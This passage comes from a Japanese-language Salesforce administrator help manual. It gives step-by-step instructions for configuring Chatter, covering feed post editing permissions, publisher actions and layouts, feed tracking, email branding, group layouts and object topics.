マーサービス (Napili)テンプレートで作成されたときにのみ使用できます。[編集] オプションは、フィードで追
跡されるレコードの更新など、システムで生成された投稿には使用できません。

ユーザプロファイルまたは権限セットのフィード投稿編集の有効化
デフォルトでは、フィード投稿編集はすべてのカスタムプロファイルで無効になっています。ユーザがこ
の機能を使用できるようにするには、ユーザプロファイルを変更するか、権限セットを使用してユーザに
権限を割り当てます。
すべてのユーザに対するフィード投稿編集の無効化
デフォルトでは、フィード投稿編集権限が有効なプロファイルに割り当てられているすべてのユーザは、
自分の投稿とコメントを編集できます。必要に応じて、割り当てられているユーザプロファイルに関係な
く、組織内のすべてのユーザに対してフィード投稿編集を無効にできます。

ユーザプロファイルまたは権限セットのフィード投稿編集の有効化

ユーザ権限

カスタムプロファイルを
作成する
• 「プロファイルと権限

セットの管理」

権限セットを割り当てる
• 「権限セットの割り当

て」

デフォルトでは、フィード投稿編集はすべてのカスタムプロファイルで無効に
なっています。ユーザがこの機能を使用できるようにするには、ユーザプロファ
イルを変更するか、権限セットを使用してユーザに権限を割り当てます。
権限セットの権限を有効化する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. 既存の権限セットをクリックするか、権限セットを作成します。
3. [システム権限] セクションで、[編集] をクリックします。
4. 有効にするフィード投稿編集権限を選択します。

• このカスタムプロファイルに割り当てられているユーザに各自の投稿とコメントの編集を許可するに
は、[自分の投稿を編集] を選択します。

• このカスタムプロファイルに割り当てられているユーザに各自が所有するレコードへの投稿とコメント
(他のユーザによる投稿とコメントを含む) の編集を許可するには、[自分の所有レコードへの投稿を編集]

を選択します。

5. [保存] をクリックします。
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6. 権限を必要とするユーザに権限セットを割り当てます。

例: 段階的な手順: 権限セットを割り当てる

すべてのユーザに対するフィード投稿編集の無効化

ユーザ権限

[Chatter 設定] で機能を有
効化または無効化する
• 「アプリケーションの

カスタマイズ」

デフォルトでは、フィード投稿編集権限が有効なプロファイルに割り当てられ
ているすべてのユーザは、自分の投稿とコメントを編集できます。必要に応じ
て、割り当てられているユーザプロファイルに関係なく、組織内のすべてのユー
ザに対してフィード投稿編集を無効にできます。
1. [設定] から、[クイック検索]ボックスに「Chatter 設定」と入力し、[Chatter

設定] を選択します。
2. [編集] をクリックします。
3. [投稿とコメントの変更] セクションで、[ユーザに投稿とコメントの編集を許可] の選択を解除します。

4. [保存] をクリックします。
組織全体でフィード投稿編集機能が無効になります。ユーザは投稿とコメントの編集ができなくなります。

パブリッシャーアクションおよびレイアウト
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

アクションにより、機能が Chatter パブリッシャーに追加され、ユーザが Salesforce

と Salesforce1 でより多くの機能を利用できるようになります。
アクションは生産性がすべてです。アクションでは、ユーザがより少ないクリッ
ク数と項目数で操作を実行できるため、作業時間が短縮されます。アクション
は、モバイル向けに最適化された単純なインタフェースでレコードを簡単に作
成および編集できるため、Salesforce1 で特に役立ちます。デフォルトで、Chatter

パブリッシャーには標準アクション ([投稿]、[ファイル]、[リンク]、[アンケー
ト]、[質問]) が含まれます。

Salesforce1 では、アクションは、アクションバーおよび関連するアクションメニューにリスト項目アクション
として表示されます。
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アクションには、標準アクション、非標準アクション、デフォルトアクション、モバイルスマートアクショ
ン、カスタムアクション、生産性アクションなどの複数のカテゴリがあります。
• 標準アクション: 標準アクションは、Chatter が有効化されたときに自動的に追加されるアクション ([投稿]、

[ファイル]、[リンク]、[アンケート] など) です。これらのアクションのパブリッシャーでの表示順序はカス
タマイズできますが、これらのプロパティは編集できません。

• 非標準アクション: 非標準アクションは、ユーザが作成およびカスタマイズするアクションです。
• デフォルトアクション: デフォルトアクションは、Salesforce によって事前定義されたアクションです。ユー

ザが使用できるように、デフォルトアクションをパブリッシャーレイアウトに追加します。
• モバイルスマートアクション: モバイルスマートアクションは、デフォルトアクションと同様に事前設定さ

れたアクションのセットです。Salesforce1 のモバイルスマートアクションでは、ユーザがフィードで直接レ
コードを作成できます。

• カスタムアクション: カスタムアクションは、定義された機能を備えた Visualforce ページまたはキャンバス
アプリケーションです。たとえば、5,000 文字を超えるコメントをユーザが記述できるようにするカスタム
アクションを作成できます。

• 生産性アクション: 生産性アクションは Salesforce によって事前定義され、取引先、取引先責任者、行動、
リード、ユーザ、およびユーザプロファイルオブジェクトに適用されます。生産性アクションを編集また
は削除することはできません。
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追加アクションでパブリッシャーをカスタマイズしたり、アクションの順序を変更したりするには、最初に
[設定] の [Chatter 設定] ページでパブリッシャーのアクションを有効にします。

グローバルパブリッシャーレイアウトの作成
グローバルパブリッシャーレイアウトにより、各種 Salesforce インターフェースに表示されるグローバルア
クションが決まります。Salesforce ClassicおよびLightning Experienceの場合、これらのレイアウトでグローバル
ページ ([ホーム] ページなど) やChatterページのアクションをカスタマイズします。Lightning Experienceでは、
これらのレイアウトを使用して [グローバルアクション] メニューの入力も行います。また、Salesforce1 の場
合、これらのレイアウトにより、[フィード] ページと [人] ページのアクションバーに表示されるアクション
が決まります。グローバルパブリッシャーレイアウトには、グローバルアクションのみを含めることがで
きます。
グローバルパブリッシャーレイアウトへのアクションの追加
グローバルパブリッシャーレイアウトに追加したアクションは、[ホーム] ページや Chatter ページなどのペー
ジのほかに、Salesforce1 の [フィード] ページと [人] ページのアクションバーおよびアクションメニューにも
表示されます。

グローバルパブリッシャーレイアウトの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition、お
よび Developer Edition

ユーザ権限

アクションを作成する
• 「アプリケーションの

カスタマイズ」

アクションレイアウトと
ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定を参照」

グローバルパブリッシャーレイアウトにより、各種 Salesforce インターフェース
に表示されるグローバルアクションが決まります。Salesforce ClassicおよびLightning

Experienceの場合、これらのレイアウトでグローバルページ ([ホーム] ページなど)

や Chatter ページのアクションをカスタマイズします。Lightning Experience では、
これらのレイアウトを使用して [グローバルアクション] メニューの入力も行い
ます。また、Salesforce1 の場合、これらのレイアウトにより、[フィード] ページ
と [人] ページのアクションバーに表示されるアクションが決まります。グロー
バルパブリッシャーレイアウトには、グローバルアクションのみを含めること
ができます。
1. [設定] から、[クイック検索]ボックスに「パブリッシャーレイアウト」と入力

し、[パブリッシャーレイアウト] を選択します。
2. 新しいグローバルパブリッシャーレイアウトを作成するには、[新規]をクリッ

クします。
3. パブリッシャーレイアウトをコピーするには、[既存のグローバルパブリッ

シャーレイアウト] ドロップダウンリストから選択します。
4. 新しいグローバルパブリッシャーレイアウトの名前を入力します。
5. [保存]をクリックします。

関連トピック:

ユーザプロファイルへのグローバルパブリッシャーレイアウトの割り当て
グローバルパブリッシャーレイアウト
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グローバルパブリッシャーレイアウトへのアクションの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

ユーザ権限

アクションを作成する
• 「アプリケーションの

カスタマイズ」

アクションレイアウトと
ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定を参照」

グローバルパブリッシャーレイアウトに追加したアクションは、[ホーム] ページ
や Chatter ページなどのページのほかに、Salesforce1の [フィード] ページと [人] ペー
ジのアクションバーおよびアクションメニューにも表示されます。
頻繁に使用するアクションが各リストの最初に表示されるように、アクション
を並び替えます。

段階的な手順: グローバルパブリッシャーレイアウトをカスタマイズする
アクションは、ページレイアウト上の 2 つのセクションに追加できます。
Salesforce Classic のパブリッシャーのクイックアクション

このセクションには、パレットの [クイックアクション]カテゴリのアクショ
ンのみを含めることができます。このセクションのアクションは、Salesforce

Classic の Chatter パブリッシャーに表示されます。
Salesforce1 および Lightning Experience アクション

このセクションには、パレットの [Salesforce1および Lightning のアクション]カ
テゴリのアクションのみを含めることができます。オブジェクトページレイ
アウトの [Salesforce1および Lightning のアクション]カテゴリには、クイックア
クション、生産性アクション、Lightning コンポーネントアクション、標準お
よびカスタムボタンをはじめ、オブジェクトに使用可能なすべての種類のア
クションが含まれます。このセクションのアクションは、Salesforce1 のアク
ションバーおよびアクションメニューと、Lightning Experienceのさまざまな領
域に表示されます。

1. [設定] から、[クイック検索]ボックスに「パブリッシャーレイアウト」と入力
し、[パブリッシャーレイアウト] を選択します。

2. アクションを追加または削除するには、アクションをパレットから、または
パレットにドラッグします。アクションを並び替えるには、アクションを選
択して新しい位置にドラッグします。

3. 終了した時点で [保存] をクリックするか、[適用] をクリックして変更を保存
し、レイアウトの作業を続行します。
保存せずにページを離れると、変更内容が失われます。

例: ユーザがパブリッシャーから直接取引先を作成できるように、Salesforce Classic の [ホーム] ページと
Chatter ページのパブリッシャーに [新規取引先] アクションを追加しましょう。[新規取引先]アクションを
[Salesforce Classic パブリッシャーのクイックアクション] セクションにドラッグして、変更を保存します。
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Salesforce Classic の Chatter タブに移動します。[新規取引先] アクションがパブリッシャーに表示されます。

メモ: Lightning Experience の Chatter ページでは、標準の Chatter アクション ([投稿]、[アンケート]、およ
び [質問]) のみがサポートされ、グループが設定されていれば、[お知らせ] アクションもサポートさ
れます。

関連トピック:

Lightning Experience のアクション
ユーザプロファイルへのグローバルパブリッシャーレイアウトの割り当て
Salesforce サイドパネルからレコードを直接作成する営業担当の設定
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フィード追跡
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

取引先、ケース、取引先
責任者、リード、商談、
およびユーザオブジェク
トは、Database.com
Edition では利用できませ
ん。

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

フィードの項目追跡をカ
スタマイズする
• 「アプリケーションの

カスタマイズ」

項目追跡設定ページを参
照する
• 「設定・定義を参照す

る」

フィード追跡は、オブジェクトと項目への変更を追跡し、それらの変更を更新
として Chatter に投稿します。レコードをフォローするユーザの Chatter フィード
にフィード更新が表示されます。
フィード追跡は次のオブジェクトと項目に対して実行できます。ユーザ、Chatter

グループ、トピック、カスタムオブジェクト、外部オブジェクト、標準オブジェ
クト (取引先、記事タイプ、納入商品、キャンペーン、ケース、取引先責任者、
契約、ダッシュボード、行動、リード、商談、商品、レポート、ソリューショ
ン、ToDo) についてフィード追跡を設定できます。
共有ルールと項目レベルセキュリティによって、Chatter フィードでのレコード
変更の表示が決定されます。ユーザがフィードでそのレコードへの変更を表示
するには、レコードへのアクセス権が必要です。
次のオブジェクトと項目は、デフォルトで追跡されます。
• 取引先: [取引先名]、[取引先所有者]

• ケース: [ケース所有者]、[優先度], [状況]

• Chatter グループ: [顧客を許可]、[説明]、[グループアクセス]、[情報の内容]、
[情報のタイトル]、[名前]、[所有者名]

• 取引先責任者: [取引先名]、[取引先責任者 所有者]、[名前]

• リード: [リード 所有者]、[リード状況]、[名前]

• 商談: [金額]、[完了予定日]、[商談名]、[商談所有者]、[フェーズ]

• トピック: [説明]

• ユーザ: [自己紹介]、[住所]、[メール]、[マネージャ]、[電話]、[役職]

追跡されているフィードの更新のうち、46 日以上前のもので、いいね! もコメン
トもない更新は、自動的に削除されます。そのフィード更新追跡はフィードに
表示されなくなります。ただし、追跡項目の監査が有効な場合、その追跡項目
の監査履歴は引き続き使用できます。

Chatter フィード追跡のカスタマイズ
オブジェクトとレコードのフィード追跡を有効にし、ユーザの Chatter フィー
ドにユーザがフォローしているオブジェクトとレコードの更新が表示される
ようにします。デフォルトで多くのオブジェクトと項目が追跡されますが、
フィード追跡を詳細にカスタマイズして特定のオブジェクトと項目を追加ま
たは除外することができます。
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関連レコードのフィード更新の有効化
関連レコードが作成されるたびに、レコードの詳細ページにフィード更新を表示します。関連レコードの
フィード更新により、ユーザが取引先の活動の全体像を把握できます。

関連トピック:

Chatter の設定

4188

フィード追跡コラボレーションツールの設定および管理



Chatter フィード追跡のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

取引先、ケース、取引先
責任者、リード、商談、
およびユーザオブジェク
トは、Database.com
Edition では利用できませ
ん。

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

フィードの項目追跡をカ
スタマイズする
• 「アプリケーションの

カスタマイズ」

項目追跡設定ページを参
照する
• 「設定・定義を参照す

る」

オブジェクトとレコードのフィード追跡を有効にし、ユーザの Chatter フィード
にユーザがフォローしているオブジェクトとレコードの更新が表示されるよう
にします。デフォルトで多くのオブジェクトと項目が追跡されますが、フィー
ド追跡を詳細にカスタマイズして特定のオブジェクトと項目を追加または除外
することができます。
ユーザ、Chatter グループ、トピック、カスタムオブジェクト、外部オブジェク
ト、標準オブジェクト (取引先、記事タイプ、納入商品、キャンペーン、ケー
ス、取引先責任者、契約、ダッシュボード、行動、リード、商談、商品、レポー
ト、ソリューション、ToDo) についてフィード追跡を設定できます。
1. [設定] から、[クイック検索] ボックスに「フィード追跡」と入力し、[フィー

ド追跡] を選択します。
2. オブジェクトを選択します。
3. [フィード追跡の有効化] を選択します。

このチェックボックスは、必要なユーザ権限を持つユーザにのみ表示されま
す。

4. 追跡する項目を最大 20 件選択します。
外部オブジェクトまたは記事タイプの項目は選択できません。次の標準項目
種別は追跡できません。
• 自動採番、数式、および積み上げ集計項目
• 暗号化された参照のみシステム項目
• 商談の [期待収益] 項目
• ソリューションの [ソリューション名] および [ソリューション詳細] 項

目。多言語ソリューションが有効な組織の翻訳ソリューションにのみ表
示されます。

5. パブリッシャーのアクションが有効になっている場合は、[すべての関連オブ
ジェクト] オプションが表示されます。関連オブジェクトの作成時にフィー
ド項目を表示するには、このチェックボックスを選択します。

6. 変更内容を保存します。

関連トピック:

フィード追跡
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関連レコードのフィード更新の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

ユーザ権限

フィード追跡設定を変更
する
• 「アプリケーションの

カスタマイズ」

関連レコードが作成されるたびに、レコードの詳細ページにフィード更新を表
示します。関連レコードのフィード更新により、ユーザが取引先の活動の全体
像を把握できます。
1. [設定] から、[クイック検索] ボックスに「フィード追跡」と入力し、[フィー

ド追跡] を選択します。
2. 関連レコードのフィード更新を有効にするオブジェクトをクリックします。
3. [すべての関連オブジェクト] をクリックします。

このオプションが表示されていない場合は、パブリッシャーのアクションが
有効になっていることを確認します。[すべての関連オブジェクト] オプショ
ンは、次のオブジェクトでのみ使用できます。
• 取引先
• キャンペーン
• ケース
• 取引先責任者
• カスタムオブジェクト
• グループ
• リード
• 商談

4. 変更内容を保存します。

例: 取引先の関連レコードのフィード更新を有効にすると、取引先フィードに次の情報が表示されます。
• 取引先のすべての活動のフィード更新
• 関連する ToDo、行動、取引先責任者の更新

関連トピック:

Chatter パブリッシャーのアクションの有効化
Chatter が有効な場合のアクションの設定
ユーザによるアクションの実行
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Chatter メール設定およびブランド設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Chatter メール設定では、新しい投稿、コメント、およびその他の変更に関する
メール通知をユーザに送信するかどうかを制御できます。また、会社のロゴや
送信者情報の追加など、メールの書式設定を変更することもできます。
Chatter が有効な場合、メール通知はデフォルトで有効になります。ただし、ユー
ザは独自のメール設定を定義できます。ユーザは、メールを受信するかどうか、
どの変更についてどの程度の頻度で受信するかを制御できます。受信するメー
ル量を制御できることをユーザに伝えることは重要です。多すぎるメール通知
は多数の Chatter ユーザの不満につながり、多くの場合メール通知採用の妨げと
なっています。
一般的な Chatter メール設定およびブランド設定は [設定] から定義します。[ク
イック検索] ボックスに「メール設定」と入力し、[メール設定] を選択します。
次の表に、この設定を示します。

説明設定

一般設定

会社全体に対してメール通知を有効また
は無効にします。このオプションが選択

メールを許可

されていない場合、すべてのメール通知
は無効になり、ユーザに通知は送信され
ません。

選択されている場合、ユーザは Chatter の
コメントまたはメッセージに移動する代

メール返信を許可

わりに、メールを使用してメッセージお
よびコメントに関するメール通知に返信
できます。

選択されている場合、ユーザはメールを
使用してグループに投稿できます。

メールによる投稿を許可

選択されている場合、ユーザはメールを
使用したグループへの投稿に添付ファイ
ルを含めることができます。

メールによる添付ファイルを許可

内部組織からのすべての Chatter メール通
知に、Salesforce1 用 App Store および Google

Salesforce1 モバイルアプリケーショ
ンダウンロードバッジを表示

Play ダウンロードバッジを表示します。コ
ミュニティからのメール通知にバッジは
表示されません。受信者の言語設定によっ
てバッジを表示するかどうかが決まりま
す。バッジが設定言語に翻訳されていな
いと、メールには表示されません。バッ
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説明設定

ジ表示のオプションはデフォルトで選択されています。

Chatter ダイジェストに API のみを許可
メモ: 会社で [API 限定 Chatter ダイジェスト] が有効に
なっている場合のみ、この設定が表示されます。こ
の機能を有効にするには、Salesforce にお問い合わせ
ください。

選択すると、日次および週次でスケジュールしたダイジェ
ストが会社全体で無効になります。ユーザのダイジェスト
を受信するには API をコールする必要があります。

送信者

メール通知の送信者名として表示される名前。たとえば、
会社の名前を追加します。

差出人名

送信者のメールアドレス。たとえば、会社のメールアドレ
スを追加します。

メールアドレス

ブランド

メール通知に表示されるロゴ。デフォルトの Chatter ロゴと
置き換えるには、異なるロゴをアップロードします。

ロゴ

通知メールのフッターに表示されるテキスト。適用するス
パム対策法規に準拠するため、会社の物理アドレスを含め
ることを強くお勧めします。

フッターテキスト

メール通知のブランド設定のカスタマイズ
会社の Chatter メール通知をカスタマイズして、組織に合わせた送信者情報、フッターテキスト、およびフッ
ターロゴを表示できます。
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メール通知のブランド設定のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

Chatter メール設定をカス
タマイズする
• 「アプリケーションの

カスタマイズ」

会社の Chatter メール通知をカスタマイズして、組織に合わせた送信者情報、フッ
ターテキスト、およびフッターロゴを表示できます。
1. [設定] から、[クイック検索] ボックスに「メール設定」と入力し、[メール設

定] を選択します。
2. メールの送信者名とアドレスにカスタム値を入力して、デフォルト値と置き

換えます。

メモ: 送信者のメールアドレスを変更すると、新しいアドレスに確認
メールが送信されます。変更は保留中となり、確認されるまで既存のア
ドレスが引き続き使用されます。要求したアドレスは、メールに含まれ
る確認リンクをクリックするまで有効になりません。新しいメールアド
レスの確認がすでに保留中であるときに新しい別のアドレスを指定する
と、最新の値が保持されて確認用に使用されます。

送信者のアドレスにカスタム値を入力し、メールリレーを有効化している場
合、Chatter メールでリレーが使用されます。

3. Chatter メールのフッターに表示する内容をカスタマイズします。

メモ:

• 組織の独自のロゴと情報で置き換えない限り、すべての Chatter メー
ルには、Chatter ロゴと Salesforce 情報が表示されます。

• 以前にカスタマイズしたロゴまたはフッターテキストをデフォルト
値に戻すには、API を使用してこれらの項目を null に設定します。

a. デフォルトの Chatter ロゴと置き換えるロゴを選択します。
ロゴは、[ドキュメント] タブに存在するドキュメントであり、[外部参照可]としてマークされている必
要があります。透明背景で最大サイズが 150 x 50 ピクセルの画像が最適です。

b. デフォルトのフッターテキストと置き換えるカスタムテキストを 1,000 文字以内で入力します。
デフォルトのテキストには、Salesforceの名前と物理アドレスが含まれています。適用するスパム対策法
規に準拠するため、組織の物理アドレスを含めることを強くお勧めします。

4. [保存] をクリックします。

関連トピック:

Chatter メール設定およびブランド設定
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Chatter 投稿アクションおよびレイアウト
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

投稿およびコメントのアクションは、投稿またはコメントのドロップダウンメ
ニューに表示されます。ユーザは投稿を編集、ブックマーク、ミュート、およ
び削除し、トピックを追加し、投稿から ToDo を作成できます。
投稿の標準の [ブックマーク]、[削除]、[ミュート]、および [トピックを追加] アク
ションはデフォルトで使用可能ですが、編集することはできません。ただし、
[編集] アクションや [新規 ToDo の作成] アクションなどのその他のアクションは
追加できます。

投稿から作成できる新規 ToDo

ユーザが投稿から ToDo を直接作成できるアクションを使用してフィードを
拡張します。

投稿から作成できる新規 ToDo

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

Chatter フィード項目レイ
アウトをカスタマイズす
る
• 「アプリケーションの

カスタマイズ」

ユーザが投稿から ToDo を直接作成できるアクションを使用してフィードを拡張
します。
パブリッシャーのアクションおよび ToDo オブジェクトのフィード追跡が有効に
なっている必要があります。
1. [設定] から、[クイック検索] ボックスに「フィード項目」と入力し、[フィー

ド項目レイアウト] を選択します。
2. フィード項目レイアウトの横にある [編集] をクリックします。
3. フィード項目レイアウトで、[クイックアクション] をクリックします。
4. [新規 ToDo を作成]アクションを選択して、[パブリッシャーのアクション] セ

クションにドラッグします。

[ToDo の新規作成] アクションが表示されない場合は、[設定] の [Chatter 設定] で [パブリッシャーのアクショ
ン] 機能が有効になっていることを確認します。
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5. 変更内容を保存します。
テキスト投稿およびコンテンツ投稿のドロップダウンメニューに、[ToDo の新規作成] アクションが表示されま
す。ユーザが投稿から ToDo を作成すると、ToDo はユーザのホームページにある [私の ToDo] リストに表示され
ます。投稿での [ToDo の新規作成] アクションには、次の制限と追加機能があります。
• テキスト投稿およびコンテンツ投稿で使用可能ですが、追跡されているフィード更新のようなシステムが

生成する投稿では使用できません。
• 部分的にカスタマイズできます。項目は変更できませんが、項目のレイアウトを変更できます。
• ユーザのフィードに表示される更新を生成します。

関連トピック:

Chatter が有効な場合のアクションの設定

グループレイアウト
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

グループレイアウトでは、Chatter グループに表示される項目、ボタン、アクショ
ン、リストをカスタマイズできます。グループレイアウトへの変更は組織内の
すべてのグループに影響しますが、Salesforce1 のグループページにのみ表示され
ます。グループパブリッシャーへの変更は、Salesforce フルサイトと Salesforce1 ア
プリケーションに表示されます。
グループレイアウトとグループパブリッシャーに行った変更は、組織内のすべ
てのグループに影響します。個別のグループのレイアウトをカスタマイズする
ことはできません。

Chatter グループレイアウトおよびパブリッシャーのカスタマイズ
グループのレイアウトを変更するには、項目、ボタン、ルックアップ、およ
び関連リストを追加または削除します。
グループパブリッシャーへのアクションの追加
グループパブリッシャーのクイックアクションと Salesforce1 アクションをカスタマイズします。
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Chatter グループレイアウトおよびパブリッシャーのカスタマイズ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

Chatter グループレイアウ
トをカスタマイズする
• 「アプリケーションの

カスタマイズ」

グループのレイアウトを変更するには、項目、ボタン、ルックアップ、および
関連リストを追加または削除します。
1. [設定] から、[クイック検索] ボックスに「グループレイアウト」と入力し、

[グループレイアウト] を選択します。
2. カスタマイズするグループレイアウトの横にある [編集]をクリックするか、

[新規] をクリックしてレイアウトを作成します。
3. ページの上部にあるパレットから、項目、ボタン、およびその他のユーザイ

ンターフェース要素をさまざまなセクションにドラッグアンドドロップし
て、グループレイアウトに追加します。レイアウトからこれらを削除するに
は、パレットにドラッグアンドドロップして戻します。Salesforce1 および
Lightning Experienceでこれを正常に機能させるには、グループレイアウトに次
の項目が含まれていることを確認します。
• 投稿
• お知らせ
• ファイル
• アンケート
• グループを編集
• 新規グループメンバー
• 通知の管理
• グループを削除
• グループを脱退
すべてのグループレイアウトの変更は、Salesforce1 と Lightning Experience に影響します。グループパブリッ
シャーの変更はすべての場所に表示されます。たとえば、[グループの詳細] セクションで [ファイル] 関連リ
ストや項目を削除した場合、これらの変更は Salesforce1 とLightning Experienceにのみ表示され、Salesforce Classic

には表示されません。
すべてのグループレイアウトの変更は、Salesforce1 と Lightning Experience に影響します。グループパブリッ
シャーの変更はすべての場所に表示されます。たとえば、[グループの詳細] セクションで [ファイル] 関連リ
ストや項目を削除した場合、これらの変更は Salesforce1 とLightning Experienceにのみ表示され、Salesforce Classic

には表示されません。

4. [保存] をクリックしてレイアウトを保存します。

例: グループ所有者とグループマネージャが Salesforce1 および Lightning Experience からグループのアーカイ
ブと有効化を実行できるようにするには、[アーカイブ] 項目を [グループの詳細] セクションにドラッグし
ます。
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ユーザプロファイルによってグループレイアウトを割り当てるには、グループレイアウトリストビューで[ペー
ジレイアウトの割り当て] をクリックします。

関連トピック:

高度なページレイアウトエディタを使用したページレイアウトのカスタマイズ
高度なページレイアウトエディタを使用したアクションのカスタマイズ
ページレイアウトの割り当て
グローバルパブリッシャーレイアウトへのアクションの追加
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グループパブリッシャーへのアクションの追加

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

Chatter グループレイアウ
トをカスタマイズする
• 「アプリケーションの

カスタマイズ」

グループパブリッシャーのクイックアクションと Salesforce1 アクションをカスタ
マイズします。
デフォルトでは、Chatter グループにはグローバルパブリッシャーレイアウトの
一部である標準アクション ([投稿]、[ファイル]、[リンク]、[アンケート] など) が
表示されます。グローバルパブリッシャーレイアウトをカスタマイズしたグルー
プパブリッシャーレイアウトで上書きします。
1. [設定] から、[クイック検索]ボックスに「グループ」と入力し、[グループレ

イアウト] を選択します。
2. カスタマイズするグループレイアウトの横にある [編集]をクリックするか、

[新規] をクリックしてレイアウトを作成します。
3. [パブリッシャーのクイックアクション] または [Salesforce1 のアクションバー

のアクション] セクションで [グローバルパブリッシャーレイアウトを無効に
する]または をクリックします。パレットとパブリッシャーレイアウト間
でアクションをドラッグアンドドロップして、アクションを追加、削除、順
序変更します。
[パブリッシャーのクイックアクション] セクションへの変更は、Salesforce フ
ルサイトに表示されます。[Salesforce1 のアクションバーのアクション] セク
ションへの変更は、Salesforce1に表示されます。顧客を許可するグループの場合は、パブリッシャーに標準
アクションのみが表示されます。

例: グループパブリッシャーに [お知らせ]、[レコードの追加]、および [メンバーの追加] アクションを追加
します。

ユーザはこれらのアクションをパブリッシャーから直接選択できるようになります。
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オブジェクトのトピック
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

オブジェクトのトピックは、会社の主要なテーマと問題をクラウドソースする
ための最も強力な方法の 1 つです。
従業員は、項目の表示内容に基づき顧客と連携してオブジェクトレコードにト
ピックを関連付け、ビジネスインサイトに顧客の意見を反映させることができ
ます。トピックはオブジェクト間で共有できるため、ユーザ、会話、およびレ
コード間をつなげることができます。
ユーザは投稿にトピックを追加することもできます。投稿のトピックは、投稿
を整理してその可視性を向上させるために役立ちます。トピックは、特定のユー
ザグループに制限されない特定の問題、テーマ、または議題についての議論に最適です。たとえば、会社が地
元の学校のボランティアに関する 1 年間の目標を作成した場合、会社全体で投稿、写真、およびその目標に関
する更新情報を共有できるトピックを作成します。一方、グループは特定のユーザグループでの会話に適して
います。グループ内のコラボレーションは任意の数の議題を取り扱うことができますが、常に同じ主要チーム
メンバーが関与します。たとえば、会社が休日のパーティを計画している場合、パーティ委員会の非公開グ
ループで、残りの社員に事前に詳細を知られることなくイベントを計画します。

オブジェクトのトピックの有効化と設定
オブジェクトのトピックを有効化すると、ユーザがトピックをレコードに追加して共通のテーマでレコー
ドを整理できます。この便利な機能は、Chatter の有無に関係なく使用できます。
トピックの削除
適切な権限を持つユーザは、トピック詳細ページから直接トピックを削除できます。
トピックのプライバシー
トピック名や説明は非公開グループおよびレコードでのみ表示されますが、非公開ではありません。トピッ
クがある投稿およびレコードのセキュリティとプライバシーは、トピックがない投稿およびレコードのも
のと同じです。
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オブジェクトのトピックの有効化と設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

オブジェクトのトピック
を有効にする
• 「アプリケーションの

カスタマイズ」

オブジェクトのトピックを有効化すると、ユーザがトピックをレコードに追加
して共通のテーマでレコードを整理できます。この便利な機能は、Chatter の有
無に関係なく使用できます。
システム管理者は、取引先、納入商品、キャンペーン、ケース、取引先責任者、
契約、ファイル、リード、商談、注文、ソリューション、カスタムオブジェク
ト、英語の記事のトピックを有効化できます。オブジェクト種別ごとに、シス
テム管理者が推奨トピックに使用する項目を指定します。

メモ: トピックは、英語のナレッジ記事でのみサポートされています。

警告: オブジェクトのトピックが有効になると、そのオブジェクト種別の
レコードで公開タグが無効になります。

1. [設定] から、[クイック検索] ボックスに「オブジェクトのトピック」と入力
し、[オブジェクトのトピック] を選択します。

2. オブジェクトを選択します。
3. 右側で、[トピックを有効化] を選択します。
4. 推奨トピックに使用するテキスト項目を選択します (選択された項目を組み

